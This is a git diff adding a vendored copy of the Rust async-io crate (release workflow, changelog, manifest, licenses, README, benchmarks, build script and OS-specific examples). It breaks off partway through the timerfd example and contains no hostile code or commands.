b/lib/malio/async-io/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-io/.gitignore b/lib/malio/async-io/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-io/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-io/CHANGELOG.md b/lib/malio/async-io/CHANGELOG.md new file mode 100644 index 0000000..7c9561a --- /dev/null +++ b/lib/malio/async-io/CHANGELOG.md @@ -0,0 +1,291 @@ +# Version 2.6.0 + +- Bump MSRV to 1.71. (#243) +- Expose `Timer::clear`. (#239) +- Implement `IoSafe` for `std::io::PipeReader` and `std::io::PipeWriter` (#237) +- Update to `windows-sys` v0.61. (#243) +- Remove dependency on `async_lock`. (#240) + +# Version 2.5.0 + +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#234) +- Add support for Haiku (#233) +- Fix build failure with minimal-versions. (#234) +- Update `windows-sys` to v0.60. (#230) + +# Version 2.4.1 + +- Update to rustix version 1.0.7. (#221) + +# Version 2.4.0 + +- Make it so the `Exit` filter can be created without passing ownership of the + `Child` object. (#207) +- Add support for visionOS. (#202) +- Fix typo in documentation. (#204) + +# Version 2.3.4 + +- Update `windows-sys` to v0.59. (#195) +- On NetBSD/DragonflyBSD, set `nosigpipe` on sockets. (#196) + +# Version 2.3.3 + +- Fix nightly clippy warnings. (#191) + +# Version 2.3.2 + +- Fix usage of the wrong socket flags on AIX. (#187) + +# Version 2.3.1 + +- On Windows, call `WSAStartup` before any raw socket functions. (#183) + +# Version 2.3.0 + +- Add `Waitable`, which allows waiting for waitable handles on + Windows. (#152) + +# Version 2.2.2 + +- Fix an `EINVAL` error that would occur when abstract sockets are used. (#176) + +# Version 2.2.1 + +- Remove dependency on `waker-fn`. (#165) +- Update `windows-sys` to v0.52.0. (#173) + +# Version 2.2.0 + +- Bump `async-lock` and `futures-lite` to their latest version. (#170) + +# Version 2.1.0 + +- Implement `IoSafe` for `std::process::{ChildStdin, ChildStdout, ChildStderr}`. (#162) + +# Version 2.0.0 + +- **Breaking:** `Async::new()` now takes types that implement `AsFd`/`AsSocket` instead of `AsRawFd`/`AsRawSocket`, in order to implement I/O safety. (#142) +- **Breaking:** `Async::get_mut()`, `Async::read_with_mut()` and `Async::write_with_mut()` are now `unsafe`. The underlying source is technically "borrowed" by the polling instance, so moving it out would be unsound. (#142) +- Expose miscellaneous `kqueue` filters in the `os::kqueue` module. (#112) +- Expose a way to get the underlying `Poller`'s file descriptor on Unix. (#125) +- Add a new `Async::new_nonblocking` method to allow users to avoid duplicating an already nonblocking socket. (#159) +- Remove the unused `fastrand` and `memchr` dependencies. (#131) +- Use `tracing` instead of `log`. (#140) +- Support ESP-IDF. (#144) +- Optimize the `block_on` function to reduce allocation, leading to a slight performance improvement. (#149) + +# Version 1.13.0 + +- Use [`rustix`] instead of [`libc`]/[`windows-sys`] for system calls (#76) +- Add a `will_fire` method to `Timer` to test if it will ever fire (#106) +- Reduce syscalls in `Async::new` (#107) +- Improve the drop ergonomics of `Readable` and `Writable` (#109) +- Change the "`wepoll`" in documentation to "`IOCP`" (#116) + +[`rustix`]: https://crates.io/crates/rustix/ +[`libc`]: https://crates.io/crates/libc/ +[`windows-sys`]: https://crates.io/crates/windows-sys/ + +# Version 1.12.0 + +- Switch from `winapi` to `windows-sys` (#102) + +# Version 1.11.0 + +- Update `concurrent-queue` to v2. (#99) + +# Version 1.10.0 + +- Remove the dependency on the `once_cell` crate to restore the MSRV. (#95) + +# Version 1.9.0 + +- Fix panic on very large durations. (#87) +- Add `Timer::never` (#87) + +# Version 1.8.0 + +- Implement I/O safety traits on Rust 1.63+ (#84) + +# Version 1.7.0 + +- Process timers set for exactly `now`. (#73) + +# Version 1.6.0 + +- Add `Readable` and `Writable` futures. (#64, #66) +- Add `Async::{readable_owned, writable_owned}`. (#66) + +# Version 1.5.0 [YANKED] + +- Add `Readable` and `Writable` futures. (#64) + +# Version 1.4.1 + +- Remove dependency on deprecated `vec-arena`. (#60) + +# Version 1.4.0 + +- Implement `AsRef` and `AsMut` for `Async`. (#44) +- Remove dependency on deprecated `nb-connect`. (#55) + +# Version 1.3.1 + +- Lower MSRV to 1.41.0 + +# Version 1.3.0 + +- Add `Timer::interval()` and `Timer::set_interval()`. +- Add `Timer::interval_at()` and `Timer::set_interval_at()`. +- Implement `Stream` for `Timer`. + +# Version 1.2.0 + +- Add `Async::poll_readable()` and `Async::poll_writable()`. + +# Version 1.1.10 + +- Update `futures-lite`. + +# Version 1.1.9 + +- Only require `libc` on Unix platforms. + +# Version 1.1.8 + +- Re-enable `async-net` dependency and fix CI. + +# Version 1.1.7 + +- Update `polling` to v2.0.0 + +# Version 1.1.6 + +- Remove randomized yielding everywhere. + +# Version 1.1.5 + +- Remove randomized yielding in write operations. + +# Version 1.1.4 + +- Implement proper cancelation for `readable()` and `writable()`. + +# Version 1.1.3 + +- Improve docs. + +# Version 1.1.2 + +- Add `nb-connect` dependency. +- Remove `wepoll-sys-stjepang` dependency. + +# Version 1.1.1 + +- Remove `socket2` dependency. + +# Version 1.1.0 + +- Add `TryFrom` conversion impls for `Async`. + +# Version 1.0.2 + +- Don't box `T` in `Async`. +- `Async::incoming()` doesn't return `Unpin` streams anymore. + +# Version 1.0.1 + +- Update dependencies. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.2.7 + +- Replace `log::debug!` with `log::trace!`. + +# Version 0.2.6 + +- Add logging. + +# Version 0.2.5 + +- On Linux, fail fast if `writable()` succeeds after connecting to `UnixStream`, + but the connection is not really established. + +# Version 0.2.4 + +- Prevent threads in `async_io::block_on()` from hogging the reactor forever. + +# Version 0.2.3 + +- Performance optimizations in `block_on()`. + +# Version 0.2.2 + +- Add probabilistic yielding to improve fairness. + +# Version 0.2.1 + +- Update readme. + +# Version 0.2.0 + +- Replace `parking` module with `block_on()`. +- Fix a bug in `Async::::connect()`. + +# Version 0.1.11 + +- Bug fix: clear events list before polling. + +# Version 0.1.10 + +- Simpler implementation of the `parking` module. +- Extracted raw bindings to epoll/kqueue/wepoll into the `polling` crate. + +# Version 0.1.9 + +- Update dependencies. +- More documentation. + +# Version 0.1.8 + +- Tweak the async-io to poll I/O less aggressively. + +# Version 0.1.7 + +- Tweak the async-io thread to use less CPU. +- More examples. + +# Version 0.1.6 + +- Add `Timer::reset()`. +- Add third party licenses. +- Code cleanup. + +# Version 0.1.5 + +- Make `Parker` and `Unparker` unwind-safe. + +# Version 0.1.4 + +- Initialize the reactor in `Parker::new()`. + +# Version 0.1.3 + +- Always use the last waker given to `Timer`. +- Shutdown the socket in `AsyncWrite::poll_close()`. +- Reduce the number of dependencies. + +# Version 0.1.2 + +- Shutdown the write side of the socket in `AsyncWrite::poll_close()`. +- Code and dependency cleanup. +- Always use the last waker when polling a timer. + +# Version 0.1.1 + +- Initial version diff --git a/lib/malio/async-io/Cargo.toml b/lib/malio/async-io/Cargo.toml new file mode 100644 index 0000000..d25583c --- /dev/null +++ b/lib/malio/async-io/Cargo.toml @@ -0,0 +1,62 @@ +[package] +name = "async-io" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.5.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.71" +description = "Async I/O and timers" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-io" +keywords = ["mio", "epoll", "kqueue", "iocp"] +categories = ["asynchronous", "network-programming", "os"] +exclude = ["/.*"] + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ['cfg(polling_test_poll_backend)', 'cfg(async_io_no_pipe)' ] } + +[[bench]] +name = "io" +harness = false + +[[bench]] +name = "timer" +harness = false + +[dependencies] +cfg-if = "1" +concurrent-queue = "2.2.0" +futures-io = { version = "0.3.28", default-features = false, features = ["std"] } +futures-lite = { version = "2.0.0", default-features = false } +parking = "2.0.0" +polling = "3.4.0" +rustix = { version = "1.0.7", default-features = false, features = ["fs", "net", "std"] } +slab = "0.4.2" +tracing = { version = "0.1.37", default-features = false, optional = true } + +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.61", features = ["Win32_Foundation"] } + +[build-dependencies] +autocfg = "1" + +[dev-dependencies] +async-channel = "2.0.0" +async-net = "2.0.0" +blocking = "1" +criterion = { version = "0.7", default-features = false, features = ["cargo_bench_support"] } +getrandom = "0.3" +signal-hook = "0.3" +tempfile = "3" + +[target.'cfg(target_os = "linux")'.dev-dependencies] +inotify = { version = "0.11.0", default-features = false } +timerfd = "1" + +[target.'cfg(windows)'.dev-dependencies] +uds_windows = "1" + +[patch.crates-io] +async-io = { path = "." } diff --git a/lib/malio/async-io/LICENSE-APACHE b/lib/malio/async-io/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-io/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-io/LICENSE-MIT b/lib/malio/async-io/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-io/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-io/README.md b/lib/malio/async-io/README.md new file mode 100644 index 0000000..9079b0b --- /dev/null +++ b/lib/malio/async-io/README.md @@ -0,0 +1,78 @@ +# async-io + +[![Build](https://github.com/smol-rs/async-io/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-io/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-io) +[![Cargo](https://img.shields.io/crates/v/async-io.svg)]( +https://crates.io/crates/async-io) +[![Documentation](https://docs.rs/async-io/badge.svg)]( +https://docs.rs/async-io) + +Async I/O and timers. + +This crate provides two tools: + +* `Async`, an adapter for standard networking types (and [many other] types) to use in + async programs. +* `Timer`, a future that expires at a point in time. + +For concrete async networking types built on top of this crate, see [`async-net`]. + +[many other]: https://github.com/smol-rs/async-io/tree/master/examples +[`async-net`]: https://docs.rs/async-net + +## Implementation + +The first time `Async` or `Timer` is used, a thread named "async-io" will be spawned. +The purpose of this thread is to wait for I/O events reported by the operating system, and then +wake appropriate futures blocked on I/O or timers when they can be resumed. + +To wait for the next I/O event, the "async-io" thread uses [epoll] on Linux/Android/illumos, +[kqueue] on macOS/iOS/BSD, [event ports] on illumos/Solaris, and [IOCP] on Windows. That +functionality is provided by the [`polling`] crate. + +However, note that you can also process I/O events and wake futures on any thread using the +`block_on()` function. The "async-io" thread is therefore just a fallback mechanism +processing I/O events in case no other threads are. + +[epoll]: https://en.wikipedia.org/wiki/Epoll +[kqueue]: https://en.wikipedia.org/wiki/Kqueue +[event ports]: https://illumos.org/man/port_create +[IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports +[`polling`]: https://docs.rs/polling + +## Examples + +Connect to `example.com:80`, or time out after 10 seconds. + +```rust +use async_io::{Async, Timer}; +use futures_lite::{future::FutureExt, io}; + +use std::net::{TcpStream, ToSocketAddrs}; +use std::time::Duration; + +let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + +let stream = Async::::connect(addr).or(async { + Timer::after(Duration::from_secs(10)).await; + Err(io::ErrorKind::TimedOut.into()) +}) +.await?; +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-io/benches/io.rs b/lib/malio/async-io/benches/io.rs new file mode 100644 index 0000000..1d6e55f --- /dev/null +++ b/lib/malio/async-io/benches/io.rs @@ -0,0 +1,171 @@ +//! Benchmarks for a variety of I/O operations. + +#![allow(clippy::incompatible_msrv)] // false positive: https://github.com/rust-lang/rust-clippy/issues/12257#issuecomment-2093667187 + +use async_io::Async; +use criterion::{criterion_group, criterion_main, Criterion}; +use futures_lite::{future, prelude::*}; +use std::hint::black_box; +use std::net::{Ipv4Addr, SocketAddr, TcpListener, TcpStream, UdpSocket}; + +/// Block on a future, either using the I/O driver or simple parking. +fn block_on(fut: impl Future, drive: bool) -> R { + if drive { + async_io::block_on(fut) + } else { + future::block_on(fut) + } +} + +fn read_and_write(b: &mut Criterion) { + const TCP_AMOUNT: usize = 1024 * 1024; + + let mut group = b.benchmark_group("read_and_write"); + + for (driver_name, exec) in [("Undriven", false), ("Driven", true)] { + // Benchmark the TCP streams. + let init_reader_writer = || { + let listener = TcpListener::bind("localhost:12345").unwrap(); + let read_stream = TcpStream::connect("localhost:12345").unwrap(); + let (write_stream, _) = listener.accept().unwrap(); + + let reader = Async::new(read_stream).unwrap(); + let writer = Async::new(write_stream).unwrap(); + + (listener, reader, writer) + }; + + group.bench_function(format!("TcpStream.{driver_name}"), move |b| { + let (_listener, mut reader, mut writer) = init_reader_writer(); + let mut buf = vec![0x42; TCP_AMOUNT]; + + b.iter(|| { + let buf = &mut buf; + + block_on( + async { + black_box(writer.write_all(&*buf).await.ok()); + black_box(reader.read_exact(buf).await.ok()); + }, + exec, + ); + }); + }); + + #[cfg(unix)] + { + // Benchmark the Unix sockets. + use std::os::unix::net::UnixStream; + const UNIX_AMOUNT: usize = 1024; + + group.bench_function(format!("UnixStream.{driver_name}"), |b| { + let (mut reader, mut writer) = Async::::pair().unwrap(); + let mut buf = vec![0x42; UNIX_AMOUNT]; + + b.iter(|| { + let buf = &mut buf; + block_on( + async { + black_box(writer.write_all(&*buf).await.ok()); + black_box(reader.read_exact(buf).await.ok()); + }, + exec, + ); + }); + }); + } + } +} + +fn connect_and_accept(c: &mut Criterion) { + let mut group = c.benchmark_group("connect_and_accept"); + + for (driver_name, exec) in [("Undriven", false), ("Driven", true)] { + // Benchmark the TCP streams. + group.bench_function(format!("TcpStream.{driver_name}"), move |b| { + let socket_addr = + SocketAddr::new("127.0.0.1".parse::().unwrap().into(), 12345); + let listener = Async::::bind(socket_addr).unwrap(); + + b.iter(|| { + block_on( + async { + let _reader = Async::::connect(socket_addr).await.ok(); + black_box(listener.accept().await.ok()); + drop(black_box(_reader)); + }, + exec, + ); + }); + }); + + #[cfg(unix)] + { + // Benchmark the Unix sockets. + use std::os::unix::net::{UnixListener, UnixStream}; + + let mut id = [0u8; 8]; + getrandom::fill(&mut id).unwrap(); + let id = u64::from_ne_bytes(id); + + let socket_addr = format!("/tmp/async-io-bench-{id}.sock"); + let listener = Async::::bind(&socket_addr).unwrap(); + + group.bench_function(format!("UnixStream.{driver_name}"), |b| { + b.iter(|| { + block_on( + async { + let _reader = Async::::connect(&socket_addr).await.ok(); + black_box(listener.accept().await.ok()); + drop(black_box(_reader)); + }, + exec, + ); + }); + }); + + drop(listener); + } + } +} + +fn udp_send_recv(c: &mut Criterion) { + const UDP_AMOUNT: usize = 1024; + + let mut group = c.benchmark_group("udp_send_recv"); + + // Create a pair of UDP sockets. + let socket_addr = |port| SocketAddr::new("127.0.0.1".parse::().unwrap().into(), port); + let socket_addr1 = socket_addr(12345); + let socket_addr2 = socket_addr(12346); + + let reader = Async::::bind(socket_addr1).unwrap(); + let writer = Async::::bind(socket_addr2).unwrap(); + + let mut buf = vec![0x42; UDP_AMOUNT]; + + for (driver_name, exec) in [("Undriven", false), ("Driven", true)] { + group.bench_function(format!("UdpSocket.{driver_name}"), |b| { + b.iter(|| { + let buf = &mut buf; + + block_on( + async { + black_box(writer.send_to(&*buf, socket_addr1).await.ok()); + black_box(reader.recv_from(buf).await.ok()); + }, + exec, + ); + }); + }); + } +} + +criterion_group! { + io_benchmarks, + read_and_write, + connect_and_accept, + udp_send_recv +} + +criterion_main!(io_benchmarks); diff --git a/lib/malio/async-io/benches/timer.rs b/lib/malio/async-io/benches/timer.rs new file mode 100644 index 0000000..27e51d6 --- /dev/null +++ b/lib/malio/async-io/benches/timer.rs @@ -0,0 +1,42 @@ +//! Benchmarks for registering timers. + +#![allow(clippy::incompatible_msrv)] // false positive: https://github.com/rust-lang/rust-clippy/issues/12257#issuecomment-2093667187 + +use async_io::Timer; +use criterion::{criterion_group, criterion_main, Criterion}; +use futures_lite::future; +use std::hint::black_box; +use std::time::Duration; + +/// Create a new `Timer` and poll it once to register it into the timer wheel. +fn make_timer() -> Timer { + let mut timer = Timer::after(Duration::from_secs(1)); + future::block_on(future::poll_once(&mut timer)); + timer +} + +/// Benchmark the time it takes to register and deregister a timer. +fn register_timer(c: &mut Criterion) { + let mut group = c.benchmark_group("register_timer"); + for prev_timer_count in [0, 1_000_000] { + // Add timers to the timer wheel. + let mut timers = Vec::new(); + for _ in 0..prev_timer_count { + timers.push(make_timer()); + } + + // Benchmark registering a timer. + group.bench_function( + format!("register_timer.({prev_timer_count} previous timers)"), + |b| { + b.iter(|| { + let timer = make_timer(); + black_box(timer); + }); + }, + ); + } +} + +criterion_group!(benches, register_timer); +criterion_main!(benches); diff --git a/lib/malio/async-io/build.rs b/lib/malio/async-io/build.rs new file mode 100644 index 0000000..abb2cc7 --- /dev/null +++ b/lib/malio/async-io/build.rs @@ -0,0 +1,16 @@ +fn main() { + let cfg = match autocfg::AutoCfg::new() { + Ok(cfg) => cfg, + Err(e) => { + println!("cargo:warning=async-io: failed to detect compiler features: {e}"); + return; + } + }; + + // We use "no_*" instead of "has_*" here. For (non-Cargo) build processes + // that don't run build.rs, the negated version gives us a recent + // feature-set by default. + if !cfg.probe_rustc_version(1, 87) { + autocfg::emit("async_io_no_pipe"); + } +} diff --git a/lib/malio/async-io/examples/kqueue-process.rs b/lib/malio/async-io/examples/kqueue-process.rs new file mode 100644 index 0000000..9cdae1c --- /dev/null +++ b/lib/malio/async-io/examples/kqueue-process.rs @@ -0,0 +1,48 @@ +//! Uses the `async_io::os::kqueue` module to wait for a process to terminate. +//! +//! Run with: +//! +//! ``` +//! cargo run --example kqueue-process +//! ``` + +#[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", +))] +fn main() -> std::io::Result<()> { + use std::process::Command; + + use async_io::os::kqueue::{Exit, Filter}; + use futures_lite::future; + + future::block_on(async { + // Spawn a process. + let process = Command::new("sleep") + .arg("3") + .spawn() + .expect("failed to spawn process"); + + // Wrap the process in an `Async` object that waits for it to exit. + let process = Filter::new(Exit::new(process))?; + + // Wait for the process to exit. + process.ready().await?; + + Ok(()) + }) +} + +#[cfg(not(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", +)))] +fn main() { + println!("This example only works for kqueue-enabled platforms."); +} diff --git a/lib/malio/async-io/examples/linux-inotify.rs b/lib/malio/async-io/examples/linux-inotify.rs new file mode 100644 index 0000000..e2d89b2 --- /dev/null +++ b/lib/malio/async-io/examples/linux-inotify.rs @@ -0,0 +1,64 @@ +//! Uses the `inotify` crate to watch for changes in the current directory. +//! +//! Run with: +//! +//! ``` +//! cargo run --example linux-inotify +//! ``` + +#[cfg(target_os = "linux")] +fn main() -> std::io::Result<()> { + use std::ffi::OsString; + use std::io; + + use async_io::Async; + use futures_lite::future; + use inotify::{EventMask, Inotify, WatchMask}; + + type Event = (OsString, EventMask); + + /// Reads some events without blocking. + /// + /// If there are no events, an [`io::ErrorKind::WouldBlock`] error is returned. + fn read_op(inotify: &mut Inotify) -> io::Result> { + let mut buffer = [0; 1024]; + let events = inotify + .read_events(&mut buffer)? + .filter_map(|ev| ev.name.map(|name| (name.to_owned(), ev.mask))) + .collect::>(); + + if events.is_empty() { + Err(io::ErrorKind::WouldBlock.into()) + } else { + Ok(events) + } + } + + future::block_on(async { + // Watch events in the current directory. + let mut inotify = Async::new(Inotify::init()?)?; + + // SAFETY: We do not move the inner file descriptor out. + unsafe { + inotify + .get_mut() + .watches() + .add(".", WatchMask::ALL_EVENTS)?; + } + println!("Watching for filesystem events in the current directory..."); + println!("Try opening a file to trigger some events."); + println!(); + + // Wait for events in a loop and print them on the screen. + loop { + for event in unsafe { inotify.read_with_mut(read_op).await? } { + println!("{event:?}"); + } + } + }) +} + +#[cfg(not(target_os = "linux"))] +fn main() { + println!("This example works only on Linux!"); +} diff --git a/lib/malio/async-io/examples/linux-timerfd.rs b/lib/malio/async-io/examples/linux-timerfd.rs new file mode 100644 index 0000000..05ca38c --- /dev/null +++ b/lib/malio/async-io/examples/linux-timerfd.rs @@ -0,0 +1,55 @@ +//! Uses the `timerfd` crate to sleep using an OS timer. +//! +//! Run with: +//! +//! ``` +//! cargo run --example linux-timerfd +//! ``` + +#[cfg(target_os = "linux")] +fn main() -> std::io::Result<()> { + use std::io; + use std::os::unix::io::AsRawFd; + use std::time::{Duration, Instant}; + + use async_io::Async; + use futures_lite::future; + use rustix::fd::BorrowedFd; + use timerfd::{SetTimeFlags, TimerFd, TimerState}; + + /// Sleeps using an OS timer. + async fn sleep(dur: Duration) -> io::Result<()> { + // Create an OS timer. + let mut timer = TimerFd::new()?; + timer.set_state(TimerState::Oneshot(dur), SetTimeFlags::Default); + + // When the OS timer fires, a 64-bit integer can be read from it. + Async::new(timer)? + .read_with(|t| { + // Safety: We assume `as_raw_fd()` returns a valid fd. When we + // can depend on Rust >= 1.63, where `AsFd` is stabilized, and + // when `TimerFd` implements it, we can remove this unsafe and + // simplify this. + let fd = unsafe { BorrowedFd::borrow_raw(t.as_raw_fd()) }; + rustix::io::read(fd, &mut [0u8; 8]).map_err(io::Error::from) + }) + .await?; + Ok(()) + } + + future::block_on(async { + let start = Instant::now(); + 